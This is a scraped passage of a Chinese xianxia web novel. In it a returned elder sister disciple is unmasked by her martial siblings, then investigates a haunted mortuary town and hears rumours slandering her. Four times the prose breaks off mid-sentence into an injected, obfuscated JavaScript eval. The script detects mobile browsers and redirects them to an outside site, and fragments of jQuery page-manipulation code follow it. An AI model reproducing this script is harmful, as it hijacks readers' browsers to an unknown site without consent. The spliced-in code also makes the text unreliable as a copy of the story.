她狐疑地抬头,却见纪行云面色如常,只有一点恰到好处的歉疚与羞愧:“是我口无遮拦唐突了师姐,师姐若是生气,我甘愿去戒律堂领罚。”
——怎么又是这幅可怜的表情!
江清月忙道:“好了好了,我没生气。再说哪有因为这点小事便去戒律堂领罚的道理,若是如此,那戒律堂的长老岂不是要累坏了?我只是……只是没想到你现在竟变得会开玩笑了,倒真是让我有些吃惊。”
纪行云道:“师姐不在的这一百年,我还学会了很多其他的。”
话到此处,江清月张了张口,不知该接什么。
好在,下一瞬门外便传来弟子的通报,打破了屋内沉寂的气氛——“宗主,魏仙师和谢仙师来了。”
“好,让他们在主殿稍候片刻。”纪行云吩咐完,转身看向江清月,“师姐,可要与我一同去?”
江清月正为方才的事心虚着,此刻面对纪行云的双眼,她没好意思拒绝。但进了主殿,见到坐在殿中的魏音尘和谢长渊,她便后悔了——若说方才是一点心虚,那现在便是成倍的尴尬。长痛不如短痛,她方才怎么就没拒绝呢?
谢长渊仍是坐得没个正型,用眼神点了点江清月:“掌门师弟,不是你说让我们前来商议要事吗,怎么……?”
纪行云淡声道:“她也参与了很多次除魔活动,不是无关人员。”
谢长渊挑了挑眉,不置可否。
魏音尘没理会他们两人之间的暗流涌动,翻出一卷卷宗,开门见山道:“这些年来封印被削弱了不少,人魔两界之间的裂缝越来越大,借裂缝进入人界为非作歹的魔物也越来越多。仅仅是我们知晓的,便不下三次,其他地方情况还不知严重到何种地步。我们必须尽快做打算,不能再让魔族这般猖獗下去!”
江清月却是疑惑——封印?什么封印?
谢长渊一展折扇,将大半张脸都掩在扇面下,只露出一双弯弯的桃花眼:“怎么,你不知道?”
在场的三双眼睛登时齐刷刷落在她身上。
江清月一惊,这才发现,自己方才竟是不知不觉将心中所想说出了口。
“……百年前的仙魔大战战况惨烈,死伤无数,人界生灵涂炭,为了避免魔族再次侵扰,几位宗主以身化阵,在修真界和人界落下封印,守住了百年安宁,”纪行云的声音从侧方传过来,带着一丝让人心安的味道,“昆仑山派的上一任宗主,便是以身化阵的大能之一。”
江清月向纪行云递过去一个感谢的眼神。
纪行云轻轻点了点头,以做回应。
谢长渊的眼神在他们两人身上转了一圈,眯了眯眼睛,并未开口。
纪行云继续道:“虽然这几桩魔物入侵的事件我都有参与,但并未深入接触,了解尚浅。”
江清月接到他的提示,从善如流地将经历的三桩除魔案细致讲了一遍。
魏音尘皱眉:“抱歉,我打断一下,你方才说那山神和红雾都能直接透过人体屏障吸食人体内的神魂?”
“没错,”江清月点头,“普通魔物喜食血肉,一般不会大费周章地去吸取神魂,除非它们背后有更高阶的魔物或魔族在指导,在密谋一个更大的阴谋。”
魏音尘拍桌而起:“它们打得是封印的主意!”
“哎呀师妹你别这么激动,小心把桌子拍裂了,这可是师兄高价从拍卖阁买回来的……”谢长渊面上表情很是肉疼,将魏音尘桌上的空茶杯倒满,“喝点茶,消消火。”
同时,他空余的左手一抖,几张色彩不一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447497|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的符篆从他袖中飞出,自发地在空中围成一个圈。
“你们方才说的话我也推算过,”谢长渊虚空点了点其中三张红色的符纸,“这三张代表的宗门分别是仙游宫、天启宗和昆仑山派,几个宗门管辖的地区都已经被魔族入侵过,且或多或少有死伤。若魔族真打的是削弱封印的注意,那么短期之内不会再在这三个地方下手,所以接下来我们需要密切关注的地点便只剩下两个——天罡宗所在的益阳,和紫霄宫所在的晋阳,你说对不对,大师姐?”
江清月点了点头,应道:“没错,很有可能……”
话说到一半,她突然住了嘴,猛地抬眼看向对面坐着的谢长渊。
后者依然坐没坐相,半个身子都倚靠在靠背上,一双眼睛似笑非笑地望过来:“哈,竟然真的是你。”
满室寂静中,魏音尘霍然站起,衣袖被带倒的茶杯淋湿一片,可她恍若未觉,一双眼睛直愣愣地盯着江清月。
江清月想开口讲个笑话缓和气氛,比如“什么江什么月你们都听错了吧我根本没说过啊哈哈哈”,可她的嗓子仿佛堵了一团棉花,什么话都说不出来。
下一刻,魏音尘夺门而出。
谢长渊轻声道:“你既然回来了,为何不告诉我们?一百年的不辞而别,难道你就没有什么想对我们说的……是了,你告诉了小师弟,若不是看他对你的态度,我恐怕还不敢确定。”
他的声音里带着一丝隐忍和痛苦,垂下的长发掩盖了面上的表情,只能看见紧紧握住的双拳。
江清月声音很低:“对不起,八戒,我还没想好……”
闻言,谢长渊的脸扭曲一瞬,崩溃叫道:“啊啊啊我真服了,不要在这时候叫这个外号啊!你没看出来我正在伤感吗!气氛全都垮掉了!”
江清月愣在原地,转头与纪行云对了个眼神,后者虽面上神情沉静,但眼中的惊异也作不得伪。
“算了算了,”他泄气地坐回椅子上,抬头看了看仍还在状况外的两人,没好气地翻了个白眼,“都傻站着干什么,难不成还真等着我臭骂你们一顿吗?我说你俩可真行啊,以前有小秘密也就算了,现在这么大个事还要藏着掖着不告诉我,还没有没把我当成昆仑山派的一份子啊?”
“二师兄……”
“师什么兄,我看你就没把我当成师兄过,真是气死我了!要不是看你长大了,我非把你屁股打开花不可!”
“八戒……”
“都说了不要叫我八戒!”谢长渊抓狂,将脸埋进掌心企图躲避魔音攻击。半晌后,他闷闷的声音从里面传出来,“大师姐……如果你还愿意让我唤一声大师姐,你就对我说一句真话……回来了还走吗?”
话落,他将脸从掌心里抬起来,目不转睛地等待回答。
江清月怔愣一瞬——好熟悉的问题。
已经听过答案的纪行云此刻就站在距她不过几步的地方,同样专注地注视着她,等待着她开口。
30. 魏音尘
“要是敢说走你就死定了,我……”
“我不走。”她打断了谢长渊故意放的狠话,笑道,“只怕到时候是你们先厌烦我了。”
谢长渊扭过头去,哼了一声:“你想的倒美。”
江清月移开眼神,装作没看见他扇出虚影的折扇,却不想正巧对上纪行云的目光。
他的眼珠黑沉沉的,犹如深渊,将周围的一切光都吸了进去。江清月呼吸一窒,竟有一种自己的伪装被看透的错觉。
但纪行云什么也没说,只是淡淡笑道:“师姐,欢迎回家。”
虽然在如此措不及防的情况下将马甲暴露了个彻底,但江清月心中并没有原先设想的惊慌,纪行云的沉稳包容和谢长渊的出其不意都让她倍感熟悉,只有小师妹魏音尘的反应让她心里七上八下,不知该如何是好。
……
一天晚上,江清月迷迷糊糊地醒了。她口渴得很,正想起身倒杯水便见桌案旁蹲着一个黑乎乎的身影,正鬼鬼祟祟不知在干些什么。
江清月心中一惊,将塌边的本命剑拿在手中才稍稍心安——原本她以为死遁后这把剑也会跟着失踪,没想到竟也被纪行云收在偏殿中保存,前两日刚回到她的手中。
重生回来的日子过得太顺遂,导致她的警惕性一降再降,如今竟连寝殿内进了人都不知道。
她握紧手中的剑——接下来便是比拼实力的时候了!只要那人敢出手,她便将其捅个对穿!
现在,那黑影往桌边移动了!
还掏出了一个比人都大的大袋子!
那里面肯定是暗器!
话说背着这么大的袋子飞檐走壁真的不会被人发现吗?
江清月甩开脑中莫名乱入的想法,仔细盯着那人的动作,一丝一毫都不放过——袋子终于被打开了!
然而,黑影在袋里掏出来的并不是什么暗器,而是一串相互碰撞叮当作响的不知名物。
由于现场实在过于昏暗,不仅江清月看不清,那蹲在桌边得黑影也什么都看不清,只能凭着直觉动作,动作间将桌案上的笔架碰倒在地,发出“咚”的一声脆响。
那黑影的动作登时顿住,十分机敏地抬起头四处看了看,见室内仍是黑暗寂静,便又将袋子打开,继续往外掏,只是动作明显快了不少,室内乒乒乓乓的细碎响声不绝于耳。
江清月躺在榻上:“……”
她算是知道这几天房内那堆凭空出现的法宝灵器和符篆秘籍是从哪来的了!
方才那黑影抬头时,背后那柄标志性的重剑在月光下一闪而过——除了魏音尘还能是谁?
自上次内部会议后,她便一直想找个机会与魏音尘聊聊,可魏音尘仿佛是故意躲着她似的,总是不见人影。怎的到了夜晚,她却像是变了个人似的,不仅偷偷摸摸来找她,还悄悄往她殿内塞各类天材地宝?
这厢江清月正思考自家小师妹这独特的行为,那边魏音尘已经将带来的大袋子掏空了,正准备离开。
见状,江清月立刻从床上坐起,扬声道:“师妹!”
魏音尘身形一顿,头也没回,只是步子迈得更大了些。
江清月见她如此,疑心是方才声音太小没听清,又连着喊道:“魏音尘!小师妹!你别走,我们聊聊!”
却不想,她越是喊,魏音尘动作就越快,到最后竟是跑起来了。
随后,在江清月的目瞪口呆中,她一个跃身从打开的窗户跳了出去。
江清月:“……”
这是闹哪样?
背着重剑还能跑那么快就算了,关键是为什么一定要跳窗啊!不能好好地走大门吗?
之后几天,魏音尘依然每晚都来,坚持不懈地送各种东西,简直快把江清月的寝殿堆满了。
谢长渊见了此等盛况,咋舌道:“好家伙,小师妹的全部家当都在这了吧?”
“师姐可有觉得不便?我让人将这些东西送还给三师姐吧。”纪行云瞥了堆成小山的礼物一眼。
虽然他面上神情依然沉静有礼,但江清月却莫名从他的话中听出来了一股咬牙切齿的味道。
江清月摆了摆手:“算了,还是留着吧。”
她有句话没说出来——以魏音尘那个执拗的性格,就算将东西都还回去了,她也会挑晚上的时间重新送一遍,何必浪费人力物力去做没意义的事。
经过这么多天,她也大概明白过味儿来,知晓了魏音尘此举的意思。
说起来,百年前也有过这么一遭。
当时,魏音尘还只是个刚筑基的小弟子,每天除了在万仞峰上独自练剑,便是去找江清月比试请教,但她却不觉得这样的日子枯燥无聊,每次切磋比试时都兴致勃勃。
江清月也习惯了每日午后与她一起练剑。
可有一天,眼见着太阳都快下山了,魏音尘小小的身影还没出现在门边。江清月四处问了问,才知晓她是在与一只蛇妖的缠斗中受伤了,此刻正卧床休息。
江清月去探望她时,她正皱着眉吃丹药,苦得整张脸都皱作一团。
瞧着她可怜兮兮的模样,江清月的脑海中却回荡着方才医者的惊叹:“这小孩真是不要命了,她刚筑基不久,那蛇妖的修为可是金丹期啊!”
江清月心里又急又气——既心疼她受的伤,又气她自不量力越级挑战蛇妖——所以只是将药品和补品放下便离开了。
魏音尘虽然年纪小,但也能看出师姐的态度不大对劲。
她并没有像其他师兄弟那样撒娇卖痴求原谅,而是默不作声地将自己喜爱的各种物件都送到她的寝殿里,期望着这些东西能让师姐开心起来。
于是,江清月一觉醒来,便发现自己被小布偶小人书和鲜艳的花朵包围了。待她坐起身,才发现魏音尘正躲在柱子后面悄悄看她。
江清月的心一下子软了下来。
她向魏音尘张开手臂,魏音尘一步一挪蹭进她怀里,小心地回抱。
江清月避开魏音尘身上的伤,将她紧紧搂住,才道:"伤口还疼吗?"
魏音尘乖乖摇头。
“你实话告诉师姐,你去找那蛇妖做什么?而且是一个人去,不找我来帮忙?"
“师姐的生辰快到了,我想……它身上的皮很好很坚固,可以做衣服。”魏音尘抿了抿唇,小声补充道:“我很小心,没有把皮破坏掉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447498|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
这下江清月心里是一点气也没了,只剩下心疼。
后续,为了给她一个教训,江清月将魏音尘抱在怀里好一顿又揉又搓,直到她保证以后绝不会如此后才放过她。
眼下情景,与那时可以说是一般无二。
唯一不同的是,经过一百年的时光,魏音尘能送的东西数量和质量都翻了好几倍。
当年魏音尘送布偶小人书是为了让她开心,那么现在送天材地宝又是为了什么?
难不成也是为了让她不要离开?
纪行云瞥见她脸上状似怀念的表情,神色不由得暗了暗:“好,都听师姐的。”
这时,江清月的脑中忽的出现一声毫无起伏的“滴”,是沉寂许久的系统。
它欢快道:【宿主,好久不见,我又带着任务回来找你啦!系统检测到人界有浓烈魔气波动,距离并不远,很快就能到,我们赶快去做任务吧!】
江清月从记忆中回过神来:“好,在哪?”
【就在西庄镇!】
与此同时,门外忽的传来弟子的通报——在天罡宗的管辖范围内发现浓烈魔气。
纪行云沉声道:“具体位置在何处?”
弟子毕恭毕敬道:“益阳,西庄镇。”
系统的机械音与通报弟子的声音重合在一起,江清月听得一愣。
——竟是这么巧!
说起来,不管是雁府的神兵天降,还是这次的意外巧合——好似每次系统任务都会与纪行云产生联系。
系统道:【这很正常的啦,因为他是男主呀!整个小世界都是围绕他的一生展开的,自然剧情进展都和男主有关啦!】
“剧情进展……这次西庄镇之行,会带来什么样的进展?”
系统卡壳了:【哎呀,这个系统也不知道呢!需要宿主自行探查!】
江清月叹了口气——每次都这样,一旦谈论到剧情线,系统便是一问三不知。
“果然,这群魔族打的是封印的主意!”这时,忽然有一道女声从门外横-插进来,怒气冲冲道。
转头看去,一个抱着重剑的身影出现在门边,正是魏音尘。她抿了抿唇,直直看向江清月,一字一顿道:“我也要去益阳。”
江清月:“……”
你这语气,听起来像是在说“我要杀人!”
谢长渊乐道:“哟呵小师妹你消息真快!你们都去是吧?那我也要去!”
但最后,他还是没登上纪行云的灵舟。
谢长渊很是不服:“为什么你们都能去!”
纪行云:“灵舟只能坐三个人。”
谢长渊:“作为宗主怎么能弃宗门于不顾,既然只有三个位置,那你下来让我上去。”
纪行云:“抱歉了师兄,这支灵舟只听我的。”
谢长渊:“………………”
江清月瞧了瞧灵舟上的两人,一个气定神闲,另一个闭目养神,只好自己探出头安慰气到狂扇风的谢长渊:“八戒,你留在家里看家,我们回来给你带新衣服!”
谢长渊将扇子“啪”一声合起来,更气了:“都说了不要叫我八戒!”
31. 谣言
不多时,三人便整整齐齐地站在了西庄镇前。
西庄镇色调灰败,临街的铺面和房屋前都竖着布旗,长久的风吹日晒下上面的字迹已经看不清,只剩下黑色的布条还被风吹得来回晃动。
街上一点声响也没有,仿佛是一座无人居住的空城,静的人心里发慌。
江清月皱了皱眉,仔细打量着周围:“这情况比卷轴上所言要严重的多,看来这次的魔物不容小觑……我记得西庄镇地处天罡宗的管辖地区,为何天罡宗放任不管?”
魏音尘从喊了“我要去”后便一直没开口,此刻才说了一路上的第一句话:“……天罡宗恐怕自顾不暇,还在为几个月前的偷窃案争辩不休。”
见她面露不解,纪行云沉声道:“师姐,天罡宗已经不是一百年前的天罡宗了。”
在场的两人都是知道她真实身份的人,江清月也不再纠结,直接道:“我离开了一百年,对于修真界发生的一切事情都不了解……这一百年究竟发生了什么,天罡宗之前的宗主可是说一不二的性格,怎的会因为一桩小小的偷窃案浪费这么久时间?”
“此事说来话长,”纪行云道,“当年仙魔大战后,各大宗门虽损失惨重,但根基尚存,只有天罡宗……可算得上是天翻地覆。”
在他的叙述中,江清月仿佛看见了一代强盛宗门的没落。
百年前,为杜绝魔族再次挑起战争,几位宗主大能联合以身作阵,彻底封死了魔界与其他两界的通道,其中就有天罡宗的前宗主。
与其他宗门不同,天罡宗每一任宗主都是血缘继承,一代一代传下来。
是以,上一任宗主死后,天罡宗的宗主之位理所应当地由他的孩子继承。
然而,令人大跌眼镜的是,最终登上宗主之位的竟是修仙界著名草包——秦玉山。
秦玉山肩不能挑,手不能提,平日里最爱游山玩水吟诗作对,妥妥的富贵公子哥做派,唯一需要烦恼的事情便是何时才能游遍三界。
可他那几个天资卓越的哥哥姐姐都在仙魔大战中或战死或失踪,偌大的天罡宗只剩下了他。
于是,秦玉山临危受命接下了宗主的重担。
当年天罡宗强盛时,许多小宗门慕于其的强劲实力,期望能获得庇佑。
天罡宗自封修仙界第一大宗,对于这些恭维者自然是来者不拒,那些小宗像是鹌鹑似的躲在天罡宗的羽翼下,只需跟着在后面喊喊口号,便可以享受到无尽的天材地宝,灵石福地。
可这一切在新宗主上任后,便全变了。
现任宗主是个软性子,未语人先笑,遇事便说好,与他父亲的独断政策可谓是一个天一个地。
见此,那些小宗活络了心思——天罡宗如今已不是天下第一大宗,他们又为何一定要听从秦玉山的指挥?
于是,往日里温顺的小鹌鹑摇身一变,成了长着毒针的蛇蝎。
若是随便在街上扯住个人问问,他准会一脸鄙夷的告诉你:“天罡宗的宗主秦玉山?那不就是个被架空的草包吗?我若是他,早就没脸见人,自请让位了!”
不仅路人这样想,依附于天罡宗的各个小宗更是深以为然,恨不得下一刻就取他而代之。每个人都抱着这样的心思,在处理事情时各执己见,都觉得自己的想法点子是最好的。
秦玉山坐在上首,见他们挣得脸红脖子粗,恨不得将自己缩进椅子里。
长此以往,更没有人服他了。可瘦死的骆驼比马大,各人都瞄着天罡宗最上面的位置,谁都不服谁,谁都不肯先离开,竟也如此维持了一百年。
江清月表情很复杂。
她以前见过秦玉山几面,每次他身边都众星捧月地围着一大群人,或是恭维他长相玉树临风貌比潘安,或是奉承他文采斐然,出口成章仿若文曲星降世。
却不想百年过去,他竟沦落到如此境地。
这时,沿街一间铺面里传出几道人声,打断了她的沉思。
其中一人不屑道:“果然凡人就是胆小又怕事,不过区区一个魔物竟将他们吓成这样,还指望着这些劳什子纸钱元宝辟邪,真是愚昧无知!”
另一人嬉笑道:“哎呀仁兄,这可是好事啊!你想——若魔族侵扰少了,那我们修的仙不就白修了?民众们都安居乐业了,哪里还会有人想得到我们这些散修?怕不是都被各大宗门抢走了!到时我们吃什么,喝什么?只有世道乱起来,我们才能分得到口肉汤喝喝!”
“正是正是,反正那些人病急乱投医,随便一个穿道袍的人都信,与其便宜了那些人,还不如让咱们发财呢,你说是不是?”
“对啊!”
“哎呀,还是赵兄说的有理啊!哈哈哈!”
那几人哈哈大笑,丝毫没注意到他们的话全都被人听去了。
魏音尘冷哼一声:“一群人渣败类!素位尸餐的狗东西……!”
骂到一半,她忽然住了声,捂着后脑勺向旁边看去,江清月扬起的手还没放下。
江清月道:“看我做什么,辱骂他人造口业对你修行不利,若是你实在看不惯打回去就是了,何必骂他们。”
闻言,魏音尘用一种神奇的目光盯着她,竟是没有反驳,只是默默将头转了过去。
系统忍了忍,还是没忍住:【宿主,你这个教育方法是不是太暴力了?】
江清月丝毫不觉得:“小师妹从小就不善言辞,每次被人惹恼了便是那两个词来回颠倒着骂,听起来一点杀伤力都没有,倒不如好好发挥她的天赋。毕竟,与人渣对骂扯皮,不如直接让他们闭嘴来得快。”
系统:【……听起来好像有点道理?】
徒留系统独自思考,江清月对两人打了个手势——别听了,先将西庄镇的魔物解决。
却不想,就这一小会的功夫,那话题七拐八绕,竟是转到她身上来了——“说到魔族,我听说江清月夺舍重生回来了,你说这么邪门的法子她从哪得来的?”
“这还用说,肯定是魔族给她的!只有魔族才会研究如此邪恶的功法!”
“我的天,既然江清月用魔族秘法重生,那她岂不是归顺到魔族去了?她实力那么强,若是又发生当年仙魔大战那样的事情,我们哪里打得过?”
“瞧你这人,怎么净长他人志气灭自己威风?你忘了——当年仙魔大战,就连我等都冲上前线奋勇杀敌,那江清月却躲在后方,偷袭自己人,动手的对象便是现在的昆仑山派宗主!真是令人不齿!像她这种只会偷袭,连作战都不敢的人,说不定那一身功法都是吹出来的哈哈哈哈!”
“若我是昆仑山派的人,便是掘地三尺也要将她挖出来泄愤!”
江清月的脚步硬生生停在了原地,进也不是,退也不是。
——怎么在这里也能听到自己的传言?
不过这谣言是越传越离谱了,恐怕再传下去,说不定就有人说当年仙魔大战也是她一手策划的了。
下一瞬,她忽觉身侧一空,方才猖狂的大声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447499|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也跟着戛然而止:“你……你们是何人?我们又没得罪你们,好好地动刀动剑做什么?!”
那人吓得大气也不敢喘,生怕那名神色冰冷的女修一不高兴,将那柄重剑刺进他的胸膛里。
魏音尘抿着唇站在他们面前,一字一顿道:“道歉!”
“道歉?道什么歉?”另外一名没被剑指着的散修大喊道,“你是什么人……!”
话音未落,他便看见了立在魏音尘身后的人,顿时像只被掐住脖子的鸡,嘎一下住了声——“纪仙师?!”
修仙界中没有人不认识纪行云这张脸,那几人忽的想起来自己方才编排过他,登时吓得手脚乱颤,忙不迭道:“还请纪仙师大人有大量,原谅小人吧,方才我们是猪油蒙了心……”
“错了,”纪行云面色如霜,出口打断了他们的求饶,“你们说错了,道歉的对象不应该是我,而是昆仑山派大师姐江清月。看来几位是忘了昆仑山派说过的话了。”
江清月一脸懵——这又是什么她不知道的东西?
魏音尘一贯是看不惯纪行云那副“装腔作势”的调调,这时也意外地与他同仇敌忾:“若是记不住,那你们的耳朵和舌头也不必长在身上了。”
闻言,那群人忙闭起嘴巴捂住耳朵,终是在武力胁迫下回忆起来了。
当年仙魔大战后,不知从何处传出“江清月背叛修仙界,投靠魔族不成畏罪自杀”这等言论,尽管昆仑山派斥责言论不实并禁止讨论,但越是捂着不让说,众人便越是对个中缘由感兴趣。
直到昆仑山派灵草峰峰主魏音尘横空出世,挥着一柄重剑到处乱锤,才治住了修仙界的讨论之声。
众人对此敢怒不敢言,缘由有二。其一是魏音尘实力太强,只能被按着狂揍,根本无法还手;其二是昆仑山派对她胡乱打人的行为很是纵容,竟能说出“她年纪小不懂事,大家多担待点”这种话。
这话咋一听挺客气,但其中包含的意思稍稍一品便能体会出来——挨打活该,谁让你们嘴贱?
久而久之,众人便也收敛了,只是偶有聊起,但也是三两句便掀过去了。
没想到,今日他们竟是这般倒霉,直接撞上了昆仑山派的宗主!
那被魏音尘用剑指着的散修更是吓得脚都软了——他这幅小身板可不够魏音尘揍的!
好在今日昆仑山派看起来格外好说话,只是让他们道个歉,众人哪敢不从,恨不得以头抢地谢不揍之恩。
纪行云盯着几人千感万谢离开的方向,藏在袖中的手动了动,一缕青色灵光“嗖”地钻了出去。
随即,他一脸淡然地转过身来,向江清月走去。
江清月听完全过程,此刻也回过味来了,她眨了眨眼,看向收剑回鞘的魏音尘:“小师妹,上次三川镇你不是无缘无故推倒那栋房子的,是不是?”
闻言,魏音尘动作一僵,将剑插回鞘中,像是没有听到这句话似的,同手同脚地离开了。
——小师妹实在太好懂了。
江清月偷偷笑了两声,一抬眼,发现纪行云正缓步朝她走来。他在她面前站定,眼中闪着莫名的光,似乎是在等她说些什么。
江清月不明所以,二人大眼瞪小眼半晌,她打破沉默,没话找话说:“说起来,我倒真没想到你们会为我说话,我还以为……”
话音未落,她便自觉食言。
纪行云的脸色却在一瞬间惨白起来:“师姐,你以为是我将谣言传播出去的吗?”
32. 丹人1
江清月简直想给自己一掌——人家刚刚替你解决了问题,现在质问算怎么回事?就算的确怀疑过也不能在这个时候说出来啊!
纪行云喃喃道:“难道……我在师姐眼中就是这样的人吗?”
江清月想解释,但又不知从何说起,难不成说“对啊我从重生的第二天就怀疑你了”——这不是往人心窝子上扎吗?
江清月反复纠结,不知该如何是好。
她的沉默落在纪行云眼里便成了默认,他轻轻扯了一下唇角,低下眼帘:“既然师姐这样不相信我,我便离师姐远些吧,免得师姐还要提防着我。”
不知怎的,听到这话,江清月感觉自己心里有块地方被密密地堵住了,让她喘不过气来。
这时,前方传来魏音尘的喊声:“你们过来看!”
江清月如蒙大赦,赶忙跑过去。
魏音尘此刻站在一个棚子前,她身后的凳子上坐着一个腰背佝偻的老人,面前还摆着一个大瓷碗,里面盛着半碗汤水,上面还沉浮着一些囫囵个的物体,看不出是什么。
进了西庄镇,除了方才遇到的几名散修外,她们还没见到过其他活人,难不成这人是村民?
魏音尘对她摇摇头:“这不是村民,只是个纸扎人。”
纸扎人?
江清月仔细看去——这人背对她们坐着,身上穿的是一套花色暗淡的短衫,但无论是布料还是做工都与真人服饰相仿,从背后看过去,就像是个年近花甲的老婆婆。
可转到正面一瞧——尽管她做了心理准备,还是不由得倒吸了一口凉气——这纸人面色惨白无比,眼眶处被挖出两个黑黑的大洞,脸颊上晕着两团红,若不是它坐在凳子上的身躯僵直无比,江清月还以为是雁府的小翠跑到这里来了!
“故弄玄虚。”魏音尘面上表情不变,扬手挥过去,那纸人立刻歪倒在地。
下一瞬,她们没等到纸扎人活过来作妖,反而听到一声惊呼:“你……你们做什么?!”
棚子旁边的屋门猛地打开,一个老婆婆从里面走出,她身体躬得像虾米,手里拿着一根擀面杖,抬手便往几人身上招呼:“哎呦喂!我刚扎的纸人!你把它肩膀都拍塌……塌下去了!你赔我你赔我!”
——嘿,西庄镇还真有活人!
不对,看起来好像是要打她们!
江清月急忙扯着魏音尘向后,避开擀面杖。瞧她一下不中还要再打,生怕那老婆婆给自己气出好歹,忙道:“您这是怎么了?这纸扎人是您的?”
老婆婆气喘吁吁:“你们弄坏了我的纸人,要……要赔我一个!”
“赔,我们肯定赔!”江清月对其他两人使眼色,“我们三个都会做,到时候赔你三个纸人好不好?”
纪行云正站在她身后,此刻脸上已经恢复了一贯的平静,他轻轻点了点头,认可了江清月的话。
魏音尘则看看自己的手,表情呆愣且迷惑。
“好啊……好,”老婆婆浑浊的眼珠落在江清月的脸上,慢慢道:“不过我只,只……只要一个就够了,家里就剩下我一个人,用不着那么多。”
江清月道:“那几个就当我们送您的,不过您能和我们讲讲西庄镇的故事吗,我听说西庄镇之前很繁华,为何如今会变得这么苍凉呢?”
“听故事?那你……你可就找对人了,再没人比我更会讲故事,”老婆婆侧身让开一道门缝,“跟……跟我进来吧。”
屋子不大,过道上堆满了各种丧葬用品,满得连走路的地方都没有,不过被打扫的很干净。
几人在小桌边坐下,老婆婆颤颤巍巍地给他们端来三个大瓷碗:“来者是客,吃点东西垫垫肚子吧。”
碗里浮沉着七八颗馄饨,薄薄的面皮被煮得半透明,在浓稠面汤的映衬下显得晶莹剔透,格外可口。
江清月搅了搅汤勺,总算明白纸扎人面前那碗东西是什么了。
不过,纸人也要吃东西吗?
老婆婆似是极不放心,再三确认:“你们真的会帮我扎纸人吧?”
在座的几人中——魏音尘只会舞刀弄剑做不来这么精细的活、至于纪行云……她现在还拿不准他现在的沉默是什么意思——于是她咬了咬牙:“放心吧,肯定的!”
——实在不行她就一人做三个!
得了承诺,老婆婆开始慢慢地讲。从她的话中,江清月总算窥见了西庄镇一点黑暗的真相。
西庄镇原本是个极其繁华的小城,人流来往络绎不绝,每日街上都很热闹。
但这份热闹,是由于他们地处在一座面积庞大的义庄旁边。义庄内的人来源极杂——客死他乡无法及时运回家乡的人、一时未曾找到地方安葬只好暂时存放在此处的人、或是穷的没地方住,只好与几十具尸体挤在一处的人……
若是旁人知晓自己住的地方距停尸处这么近,恐怕都要连夜搬走,再去庙前求上一串开光佛珠避避邪。
可西庄镇中人不但不怕,反而十分敏锐地发现了其中潜在的商机。
义庄中有这么多客死异乡无法安葬的人,若是有人专门做这些丧葬生意,岂不是要发财了?
在方圆十几里内,西庄镇已是数一数二的富庶,但没有人会嫌弃自己赚的钱少,有些艺高人胆大的竟是当晚便捧着纸钱花圈进了义庄,第二天出来时没有大家设想的惊慌失措,而是满面笑容。
当日,好消息便如插上翅膀一般飞到了西庄镇的大街小巷。至此,村中的人再也没了顾虑,生意做得如火如荼,生活质量也蒸蒸日上。
而一切的转折,发生在半月前的一个晚上。
老婆婆继续道:“那天晚上,失踪了一个人,是我的儿子。他是个极守信用的好孩子,天黑的一颗星子都看不见,他仍然执意要出门,说要将定做的棺椁摆放在义庄里,明日一大早就要用——可直到明天早上,他都……都没回来。”
“起先我以为他是有事耽搁了,可我坐在家里等啊等啊,他还是没回来。直到陆续又有几个村里的人失踪,我才知道我的儿子彻底回不来了。”
“村里的其……其他人说义庄里阴气太重,死的人便将活人留在了里面。我不信,村里的其他人也不信,有几个胆大的孩子便聚集起来一同去探探究竟……可他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447500|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们也都没回来。”
“至此,没有人敢去义庄里了。甚至有人说在义庄里看到了漂浮的鬼魂,长着长长的爪子,会勾人魂魄的长爪子……”
魏音尘不想再听她描述爪子,开口道:“劳驾,您能先告诉我们为什么要在门口摆纸人吗?”
